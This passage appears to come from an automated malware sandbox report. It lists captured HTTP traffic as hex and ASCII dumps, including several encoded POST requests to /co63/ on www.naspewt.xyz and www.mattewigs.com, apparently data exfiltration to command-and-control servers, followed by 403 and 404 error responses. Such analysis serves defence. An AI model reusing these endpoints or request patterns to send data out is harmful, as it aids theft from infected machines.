77 73 45 64 50 55 63 5a 41 71 55 6b 6d 65 62 59 49 77 55 4b 7a 46 61 55 49 35 6d 42 37 36 7a 46 64 46 57 62 64 66 59 35 68 76 4b 77 71 74 68 71 32 37 6c 59 31 39 52 47 78 59 4d 74 58 59 73 64 65 35 48 4e 48 65 67 6a 76 42 5a 73 78 42 55 66 4b 74 4c 72 6a 53 45 31 55 35 66 67 4c 31 36 7a 5f 4a 43 46 44 70 59 75 6c 44 76 33 67 63 54 6a 49 42 32 48 31 52 71 70 59 6b 43 70 48 43 6b 55 70 35 33 4c 73 49 6d 34 56 51 69 5a 72 38 6f 45 52 4b 5f 70 4c 33 39 57 4c 53 36 6a 6c 35 49 76 79 45 6a 70 45 66 79 57 56 73 52 6a 33 41 5a 55 2d 5a 42 59 38 30 64 4b 4b 33 51 4f 6d 34 44 6c 48 37 41 75 66 72 4c 72 71 75 46 63 78 31 4a 7a 4b 54 79 28 35 51 43 46 31 41 66 4c 4a 32 50 6c 57 77 53 41 5a 35 31 62 4b 7e 4e 44 4c 68 76 38 64 7a 4d 56 78 6f 61 30 74 34 32 56 34 52 58 63 77 36 42 73 30 50 34 42 69 36 50 53 5a 43 72 33 77 48 6b 48 30 58 75 74 4f 46 79 4b 63 50 5a 31 42 76 5a 55 4c 67 52 57 6b 59 41 35 6b 71 45 71 6d 71 54 44 38 74 75 6e 58 4a 44 62 69 59 4b 37 45 67 48 79 31 31 7a 6f 46 49 6d 64 4d 4a 42 5a 5f 4b 62 58 32 6e 6b 4e 36 49 78 53 4a 63 31 51 54 59 70 55 6a 63 58 47 35 79 4e 51 53 70 5a 72 49 65 36 7a 64 61 5a 36 6f 35 61 78 54 50 6c 42 75 42 6a 4e 36 35 45 4e 74 62 66 4c 79 6e 48 75 69 49 58 61 72 65 65 54 62 51 77 4f 45 45 61 44 56 52 38 34 71 58 37 72 70 33 37 31 6e 6a 42 36 34 4a 61 4d 72 4c 6a 6e 4b 4c 75 49 63 34 61 28
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.naspewt.xyzConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.naspewt.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.naspewt.xyz/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 7a 58 4b 4e 7e 6e 75 73 57 6c 52 6c 76 68 31 65 76 41 61 62 57 61 77 4f 39 63 33 46 4d 46 64 35 4a 71 77 33 6c 6d 74 5a 33 79 41 30 45 6c 42 72 47 34 4c 39 54 4c 32 36 37 54 32 35 4f 73 69 66 6f 76 6f 45 65 52 62 73 46 36 75 61 37 53 4e 33 4b 38 59 53 32 69 6a 62 58 57 6a 47 5a 35 41 65 35 46 57 65 64 31 4a 68 36 38 36 64 59 43 79 79 33 6b 45 2d 70 58 46 37 68 63 76 35 71 49 4b 52 44 71 4e 6c 54 35 74 4d 63 68 55 39 62 76 78 30 52 38 44 34 7e 67 36 6c 59 4c 76 38 79 69 62 31 76 4f 73 66 44 6b 71 71 7e 70 56 41 41 43 7a 36 43 69 67 43 6a 48 63 74 38 4d 32 38 31 56 74 31 65 4a 7e 44 4d 55 4b 77 72 65 5a 56 51 74 6d 61 67 58 4f 62 4a 42 6d 4b 51 66 4e 4b 77 6c 74 56 36 51 66 37 4a 47 5a 45 6a 64 62 36 68 6a 63 53 70 58 4f 5f 79 63 6d 37 59 66 46 75 67 69 45 4b 68 6c 38 43 4d 75 63 62 57 6a 44 61 62 47 6f 53 44 59 4c 78 52 32 53 67 33 42 74 58 58 47 49 74 5a 31 69 54 71 39 4b 63 4f 49 4d 35 73 71 44 66 5a 34 6a 6f 73 61 6d 61 28 6e 4c 75 51 73 77 67 53 53 30 6a 6e 30 59 4d 35 4e 65 4a 30 49 4d 6e 28 4c 32 77 57 74 72 57 32 46 77 74 45 78 6b 4a 5a 4e 53 5a 58 4e 58 73 34 67 73 67 45 57 6b 39 63 6a 53 78 33 4a 4b 49 76 67 4d 47 72 37 71 2d 74 37 32 49 53 2d 43 4c 4d 5f 69 6b 73 57 4f 58 33 4a 53 4a 54 46 7e 78 37 74 37 64 47 74 72 61 4f 61 28 50 5a 6f 36 53 64 50 44 38 4d 53 6d 50 6a 4e 49 46 7a 31 59 35 35 41 31 4e 49 4c 39 4f 72 2d 32 38 58 35 43 49 4f 33 72 5f 50 78 57 48 56 4a 39 6e 74 73 6b 44 46 6d 4e 5a 49 67 69 77 49 4d 6c 69 77 6a 57 61 36 2d 31 35 4b 79 33 52 49 33 59 49 78 36 4f 30 6e 45 30 77 62 45 28 54 4c 38 57 72 5a 67 63 69 4c 74 47 31 6b 57 4b 35 75 78 41 51 6b 37 70 5f 33 50 63 65 6b 43 69 7a 44 53 51 4f 69 66 78 71 7a 57 7e 30 4e 73 6c 50 41 58 6d 73 59 54 74 6f 46 35 43 5f 44 6d 64 71 70 62 58 30 73 46 41 38 67 4f 32 67 43 6a 73 58 35 37 6a 59 36 45 57 36 48 78 56 35 31 34 48 68 65 47 34 6f 46 73 65 68 37 34 30 50 55 4f 34 44 51 37 6c 2d 66 49 74 4d 70 53 65 48 71 4b 6d 63 46 7a 55 4b 30 48 79 46 66 43 6f 51 61 6b 35 49 62 57 44 4a 6b 6b 6a 4e 4d 37 49 49 66 31 65 69 35 6b 64 4b 30 57 6e 7a 54 6d 45 43 78 39 5a 5f 77 78 34 6d 4b 78 38 54 31 66 4c 36 63 78 59 53 4b 77 58 64 62 4d 55 50 76 63 47 53 78 32 6f 53 6c 78 47 46 4d 65 42 75 7e 51 75 72 6e 6d 57 66 61 68 55 43 4f 4b 54 6a 63 43 5a 54 4d 37 48 72 42 6d 54 77 57 6d 46 4a 65 6a 45 33 37 5f 73 70 39 6b 55 44 50 30 53 35 4e 57 52 30 30 71 42 69 68 59 7a 31 35 4a 79 31 4c 48 77 33 6d 4e 53 61 4a 77 39 79 54 6a 35 6d 4f 33 35 70 5a 38 67 49 67 4a 66 6c 43 52 73 75 57 73 79 61 42 78 66 51 4e 54 68 68 7e 6f 6c 62 5a 54 4e 49 46 6a 36 4b 66 76 6d 46 48 76 46 66 71 49 58 42 7
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.naspewt.xyzConnection: closeContent-Length: 151296Cache-Control: no-cacheOrigin: http://www.naspewt.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.naspewt.xyz/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 7a 58 4b 4e 7e 6a 7a 66 54 56 6c 30 35 54 42 66 69 53 6a 57 53 37 41 51 31 2d 79 48 42 7a 30 4a 58 4b 52 63 6c 6e 39 46 72 33 6b 63 42 46 52 72 50 62 79 37 64 4c 32 31 39 54 32 2d 59 64 65 6e 68 5a 49 4d 65 51 76 4b 46 36 6d 46 31 54 38 5f 64 4f 78 51 30 79 76 4a 4c 69 4b 46 49 76 4d 52 35 6e 71 4a 57 55 42 68 31 73 4f 66 57 78 4b 6c 30 51 55 69 6d 58 4a 39 71 35 62 4b 67 66 65 38 43 4a 68 68 61 63 68 67 4c 41 63 32 56 75 77 54 51 66 6a 38 77 77 7e 6d 53 73 6e 36 78 44 47 4d 28 66 73 48 4e 41 47 44 78 34 68 47 4c 78 72 4d 43 67 4d 72 35 33 74 52 79 75 57 74 34 44 41 4f 61 4a 4b 44 4e 6c 44 72 67 35 74 54 63 4e 48 48 6a 45 57 70 50 77 32 6a 58 61 68 4a 75 6c 4e 57 30 79 48 72 52 47 78 52 68 63 54 4d 34 45 35 6c 71 33 4b 4b 31 39 57 61 43 73 30 32 67 52 42 4d 6d 6a 73 4b 53 38 5a 7a 56 52 50 73 51 33 4a 6c 54 4a 50 35 51 47 6a 4e 39 69 39 57 5a 79 38 6d 55 58 61 44 6c 38 32 76 44 6f 56 34 6d 4f 76 72 5a 34 76 67 73 36 53 38 7a 48 4b 6c 64 4e 52 69 53 53 73 6a 6e 77 51 63 37 34 75 4a 31 74 4a 72 35 4e 4b 7a 49 39 71 49 6f 6b 64 6c 44 43 41 57 5a 4e 69 4e 58 39 66 73 35 6a 49 67 42 32 30 79 51 44 53 78 68 35 4b 47 76 67 4d 65 72 37 71 62 74 35 47 55 54 2d 4b 4c 4f 36 7e 71 74 67 44 35 78 62 4f 48 63 46 7e 31 32 4d 37 39 4e 4d 48 69 4f 64 53 4b 5a 4a 57 53 63 4d 50 7a 65 47 36 4c 72 38 49 61 37 55 41 70 67 77 38 41 49 4c 78 58 71 38 50 58 53 63 36 64 50 33 72 38 41 6c 33 62 48 34 38 6d 75 4f 38 63 4a 46 74 49 50 45 44 34 49 73 68 78 77 41 71 65 35 34 74 74 66 69 6a 72 4e 46 30 55 39 71 28 55 6a 43 41 34 55 56 54 42 61 73 43 37 49 31 30 7a 61 4f 6d 5f 6b 6c 69 6a 6a 30 67 36 70 65 73 50 28 73 5a 47 68 44 53 63 49 44 59 7a 67 4c 35 45 71 67 36 61 4a 38 70 63 45 6b 44 33 63 78 4d 75 52 36 75 48 54 58 74 72 68 49 6e 76 6b 56 63 70 68 4f 37 77 56 33 64 76 72 62 33 36 78 52 4c 4c 4b 33 78 61 7a 36 58 44 58 43 70 46 41 50 36 51 74 50 46 5a 5a 4c 55 4c 5a 4b 5a 64 4a 75 77 30 28 68 36 71 68 4f 76 37 49 7a 6c 4a 36 41 36 41 62 54 51 68 56 30 42 71 50 79 43 66 69 6a 33 47 66 37 38 35 50 6b 37 4b 30 6d 63 38 77 31 69 5a 5a 6b 35 36 28 4e 39 64 36 6a 74 42 4c 57 49 39 6b 35 48 48 45 44 30 54 56 41 36 34 58 4f 55 4f 74 2d 36 37 79 6e 39 6e 68 47 33 54 4e 70 6c 50 7a 6b 79 6a 6e 30 4f 32 61 69 30 4f 4e 37 7a 7a 4f 51 39 54 47 63 54 6f 42 46 72 73 56 57 46 4a 4c 7a 45 56 28 5f 51 4d 39 69 63 44 49 78 71 35 4d 6b 39 32 30 71 42 38 33 49 33 52 35 35 79 64 46 6d 4d 79 6d 4f 61 49 4a 79 52 32 53 67 74 59 59 41 31 71 54 4d 67 4d 69 63 7a 69 43 51 52 57 57 73 7e 46 55 67 75 49 4e 6a 70 4c 30 34 6c 62 66 52 68 59 50 48 66 43 4b 63 61 42 63 72 77 58 6e 49 62 54
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.mattewigs.comConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.mattewigs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.mattewigs.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 28 69 75 78 41 6a 33 79 75 6d 7a 48 4e 61 35 48 7a 69 66 68 32 79 37 4d 64 37 52 65 71 42 6c 37 66 73 6f 30 31 79 71 69 4c 32 28 42 6e 67 74 43 59 35 39 4c 54 6d 76 54 46 35 56 62 6f 30 33 31 54 54 56 4a 28 72 6e 35 56 36 77 70 4d 74 28 47 31 58 44 48 53 50 57 69 57 75 6f 76 76 54 52 5a 4c 47 64 4d 4d 37 78 61 49 72 41 6d 52 50 37 79 74 76 31 55 73 4a 74 65 5a 4e 38 79 41 42 47 4f 5a 46 68 35 6f 2d 34 78 31 6d 76 30 65 50 43 59 43 66 39 61 4a 75 30 7a 67 6a 67 77 4c 6c 4e 66 45 39 32 6a 42 4e 41 41 6f 69 63 61 35 4c 5a 48 6b 6c 69 78 70 49 50 52 75 74 43 59 77 54 65 57 30 57 46 77 50 30 49 5f 6b 79 39 4f 30 4b 6a 5a 79 69 6d 57 6e 4e 49 5a 58 7a 6d 56 4b 43 7a 62 5a 4f 4f 55 58 43 52 6e 72 6b 33 48 36 54 46 2d 62 6e 50 52 65 34 45 69 4b 33 52 41 67 58 57 46 77 42 67 5f 78 39 68 6e 6d 4d 7e 79 48 4e 7a 69 36 4c 61 4e 4a 4a 44 5a 48 4c 54 46 47 79 34 77 57 31 77 4f 66 31 4f 4d 4c 7a 56 32 70 4d 57 62 6c 4d 7a 77 61 58 33 4d 47 69 63 32 51 47 52 63 68 6b 66 4a 33 42 59 34 70 4f 79 75 6b 59 43 72 31 7a 39 44 56 35 70 50 65 43 71 6e 4c 7a 44 2d 75 51 28 35 6f 44 61 4f 53 71 75 70 50 64 52 4d 58 39 6d 48 65 34 53 4c 72 41 33 65 4c 32 47 64 67 6f 6b 57 49 59 79 64 51 4d 33 5f 5a 45 48 77 66 77 59 58 4d 48 65 42 79 57 53 4a 6d 65 65 4f 67 34 64 78 68 48 76 2d 53 2d 36 38 54 39 55 52 7e 48 4d 7a 56 70 77 30 6e 73 78 76 33 70 37 53 51 6a 48 44 4a 46 44 32 6b 45 56 50 41 49 67 69 66 46 64 34 41 45 48 55 7e 75 74 5a 71 41 39 52 6e 48 68 49 61 68 62 57 45 6e 28 68 62 62 72 4e 45 68 6d 6a 56 63 68 66 39 55 43 33 56 71 45 50 37 53 48 31 4a 34 75 43 69 36 43 73 38 4f 57 5a 4f 79 50 32 4a 75 58 57 43 74 54 79 45 33 7a 4c 6c 5f 6d 52 31 36 48 4d 5a 59 59 36 6a 41 45 68 58 42 44 56 6f 34 78 31 4f 6b 58 47 6a 70 7a 5a 39 42 4b 43 34 55 35 58 4f 34 36 6e 30 71 34 36 5a 71 35 59 63 59 75 75 39 62 44 6c 67 54 5a 57 5a 6d 71 39 7e 48 69 4e 45 37 7a 79 4b 52 6d 34 48 69 4a 47 28 34 4a 47 4a 56 79 6d 46 38 4f 4f 74 6b 72 77 7e 2d 53 6f 52 51 69 7a 66 61 69 6b 71 6a 68 58 38 50 71 61 45 75 51 59 39 46 63 33 74 70 55 54 4b 31 42 5f 37 48 54 53 71 50 41 53 59 6a 36 77 76 43 33 77 49 36 6a 6a 6b 41 67 4d 5a 68 73 31 74 4b 68 5a 74 63 6e 4c 7e 31 48 42 6c 46 51 6e 76 42 4a 54 6b 66 6a 36 32 42 79 59 42 67 72 32 4b 61 73 61 50 67 53 76 78 42 48 5f 55 43 55 77 56 71 52 59 39 54 59 67 33 55 7a 69 45 4a 36 44 6e 30 38 4b 4c 61 62 33 30 65 6e 63 55 41 5a 56 46 59 54 6d 53 31 32 46 44 64 36 73 7e 6b 61 4a 4b 75 58 47 5a 70 34 51 34 49 77 75 59 54 4f 4a 4a 50 45 50 51 68 64 38 41 7a 30 73 42 49 42 30 55 36 72 77 6c 59 54 67 7a 48 49 41 7a 57 46 68 34 57 76 34 58 52 5
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.mattewigs.comConnection: closeContent-Length: 151296Cache-Control: no-cacheOrigin: http://www.mattewigs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.mattewigs.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 28 69 75 78 41 6d 4b 44 6f 58 48 30 4a 66 68 47 30 55 43 73 34 78 7a 6b 56 63 67 47 30 6a 45 50 57 65 67 43 31 79 61 6d 47 53 61 63 67 45 70 43 52 61 56 41 56 47 76 63 55 70 56 63 28 6b 37 6a 50 77 6c 42 28 71 7a 44 56 36 6f 75 45 6f 54 4a 7a 30 37 51 59 5f 4b 61 55 75 4d 45 72 51 35 61 4b 6d 46 71 61 4b 35 61 56 71 30 65 53 63 44 6c 71 65 70 51 6a 4a 68 63 52 73 45 37 4f 54 50 73 4c 6e 4e 39 72 38 41 64 6a 55 76 5f 62 74 36 6b 44 38 52 47 4e 65 67 79 76 45 6f 2d 4c 47 35 68 55 6f 57 37 43 4e 5a 61 68 44 6f 71 76 4c 35 50 6b 6b 6e 4e 78 59 66 34 68 4f 54 67 77 68 72 68 77 57 78 77 4f 48 59 76 71 55 56 41 74 70 62 33 6c 56 4c 73 68 39 34 77 41 48 71 65 50 53 54 59 55 72 54 50 4a 54 56 63 70 6c 76 62 6f 41 4e 47 61 48 37 4b 41 34 55 66 48 51 73 48 68 44 6d 6d 33 44 30 6e 28 39 39 55 32 72 7e 2d 4d 38 53 62 37 6f 32 46 4a 38 4b 43 45 49 7a 45 49 44 59 33 58 77 6c 4c 41 46 79 5a 4e 31 4e 45 6a 6f 4b 6a 6c 4e 6a 4f 64 33 54 32 61 79 63 77 65 6e 77 42 68 6b 58 4a 33 41 49 6f 70 5f 69 75 72 61 61 30 33 78 46 47 4d 5a 70 4d 45 53 62 68 4d 42 58 31 75 51 75 2d 70 7a 53 4f 54 6f 36 70 5a 4d 74 4c 52 4e 6d 48 51 59 53 4a 72 41 33 57 4c 32 48 35 67 75 78 58 4a 62 53 64 45 34 33 68 62 32 66 32 65 6a 45 5f 44 48 65 4e 38 30 37 49 73 4e 71 79 67 37 64 35 76 45 62 2d 52 4e 32 5f 56 63 46 59 71 47 4d 73 64 4d 77 6b 70 4d 34 6b 33 70 33 50 43 52 76 78 61 52 43 6f 6a 45 56 41 50 59 38 50 55 6b 64 6b 45 57 65 49 77 39 4e 69 72 77 35 76 32 6e 31 39 5a 42 6a 67 44 6d 6a 31 44 72 76 37 42 55 32 6b 52 74 52 34 35 51 36 5f 61 2d 55 43 36 79 54 6c 50 64 4b 51 67 34 53 69 38 35 6d 35 44 77 6a 69 57 66 62 70 4e 4c 48 67 42 30 37 30 68 4f 75 77 7a 71 62 59 57 36 51 75 6d 67 49 36 42 6a 47 45 74 64 63 72 51 57 62 2d 7a 64 28 63 37 77 53 46 30 45 64 43 4e 34 32 43 69 61 55 46 59 62 64 32 5a 74 79 61 78 62 50 47 72 32 64 6f 51 6b 79 46 36 6e 4f 38 58 34 57 53 53 44 57 67 45 79 56 31 37 4b 42 7a 41 58 57 66 4e 39 37 66 30 57 7a 63 36 64 76 6b 41 79 79 57 58 4c 61 53 67 48 5a 6b 7e 4d 43 5f 4f 65 4d 39 36 41 59 37 68 64 42 32 4f 55 74 47 78 42 62 76 6d 5f 6c 42 43 45 36 51 76 69 58 43 59 49 72 43 74 46 67 4a 62 43 67 47 34 35 78 65 73 5f 61 37 7a 47 48 39 71 55 6f 4d 6e 54 5a 32 72 66 79 33 32 32 50 30 42 67 6a 41 4e 71 4d 77 4f 69 6d 76 6d 54 76 38 61 42 38 76 54 61 52 59 6d 44 59 47 35 30 50 78 45 4f 6d 44 68 41 73 4b 4d 6f 58 78 30 65 6e 73 64 6a 46 31 46 6f 54 37 41 6b 71 4b 44 5a 33 5a 7e 68 43 4e 59 5f 62 57 64 75 38 54 38 59 77 69 62 43 4f 4f 4a 50 34 30 51 68 5a 56 4f 51 73 44 43 34 4a 4b 42 36 72 77 6a 65 4b 2d 69 47 34 46 34 31 35 74 6b 46 58 43 44 42

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 20 Jul 2023 09:45:34 GMTContent-Type: text/htmlContent-Length: 291ETag: "64b05e78-123"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 20 Jul 2023 09:45:54 GMTContent-Type: text/htmlContent-Length: 146Connection: closeServer: nginxVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Thu, 20 Jul 2023 09:45:56 GMTContent-Type: text/html; charset=utf-8Content-Length: 138Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 146Content-Type: text/htmlX-Wix-Request-Id: 1689846377.39596200702118928X-Content-Type-Options: nosniffServer: Pepyaka/1.19.10Accept-Ranges: bytesDate: Thu, 20 Jul 2023 09:46:17 GMTX-Served-By: cache-mxp6968-MXPX-Cache: MISSX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,GXNXSWFXisshliUcwO20NYMupe6WQf6MVMrzEUOojIKTPIdeTaQ6JwDV79BjSUA+,qquldgcFrj2n046g4RNSVLeuNqwcdH46iMA2Je1RdMI=Via: 1.1 googleConnection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 146Content-Type: text/htmlX-Wix-Request-Id: 1689846377.47140507045121470X-Content-Type-Options: nosniffServer: Pepyaka/1.19.10Accept-Ranges: bytesDate: Thu, 20 Jul 2023 09:46:17 GMTX-Served-By: cache-mxp6957-MXPX-Cache: MISSX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,GXNXSWFXisshliUcwO20NYMupe6WQf6MVMrzEUOojIJqzH7v57uBf+JE84tfrPJH,qquldgcFrj2n046g4RNSVLeuNqwcdH46iMA2Je1RdMI=Via: 1.1 googleConnection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Jul 2023 09:46:39 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 277Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6e 61 73 70 65 77 74 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.naspewt.xyz Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Jul 2023 09:46:40 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 277Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6e 61 73 70 65 77 74 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.naspewt.xyz Port 80</address></body></html>
